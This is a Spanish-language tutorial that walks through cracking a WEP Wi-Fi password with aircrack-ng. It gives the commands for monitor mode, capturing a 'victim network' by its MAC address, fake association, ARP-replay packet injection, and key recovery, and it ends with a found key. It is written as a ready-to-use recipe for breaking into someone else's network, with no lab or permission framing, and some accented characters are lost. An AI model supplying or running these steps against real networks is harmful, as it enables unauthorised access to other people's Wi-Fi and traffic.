1.

Paso: Saber el nombre de nuestra interface (Targeta Wireless) para colocar

en Modo Monitor, para esto abrimos una Terminal y escribimos lo siguiente:

airmon-ng

Y nos aparecer el nombre de nuestra interfaz, el chipset y el driver en mi caso

es una el nombre de la interfaz es Wlan0

2. Paso: Ya qu conocemos el nombre de nuestra interfaz procedemos a

colocar en Modo Monitor y escribimos lo siguiente:
airmon-ng start wlan0

Ya tenemos nuestra targeta en Modo Monitor (monitor mode enabled on mon0)

se podrn dar cuenta "mon0" es el nombre de la interfaz en modo monitor.
3. Paso: Ahora vamos a escanear redes disponibles con el siguiente
comando:
airodump-ng mon0

Y con esto comenzar a mostrarnos las Redes Disponibles. Para seleccionar la

Red Vctima tenemos qu detener el escaneo presionando ctrl+c
4. Paso: En este paso vamos a Capturar la Red Vctima para esto escribimos
el siguiente comando:
airodump-ng -w redes -c 11 --bssid 00:22:A4:30:FE:59 mon0

donde
-w = especifica el nombre del archivo donde se guarda la captura de datos
-c = especifica el canal de la Red
--bssid = especifica Mac de Punto de Acceso
mon0 = especifica la interfaz de la targeta de Red en Modo Monitor
5. Paso: Abrimos una segunda Terminal (sin cerrar la primera) y
escribimos lo siguiente:

aireplay-ng -1 0 -a 00:22:A4:30:FE:59 mon0

esto es para Asociar su pc con la Red Vctima

6. Paso: Ahora si viene lo bueno, a inyectar paquetes a la red, para
esto tecleamos lo siguiente:
aireplay-ng -3 -b 00:22:A4:30:FE:59 mon0

con esto enviaremos y recibiremos paquetes. Vamos a la primera Terminal y en

la columna #Data se incrementar rapidamente, y esperamos a que llegue a
los 30,000 datos para poder desemcriptar la Clave
7. Paso: Cuando llegue a los 30,000 datos abrimos una tercera y
ltima Terminal y escribimos el famoso comando:
aircrack-ng redes-01.cap

redes =archivo donde se guarda la captura (.cap) el mismo qu mencionamos

en el paso 3
damos enter y empezar a decifrar a la clave y Vual Clave
desemcriptada
Key Found (09:86:23:47:63)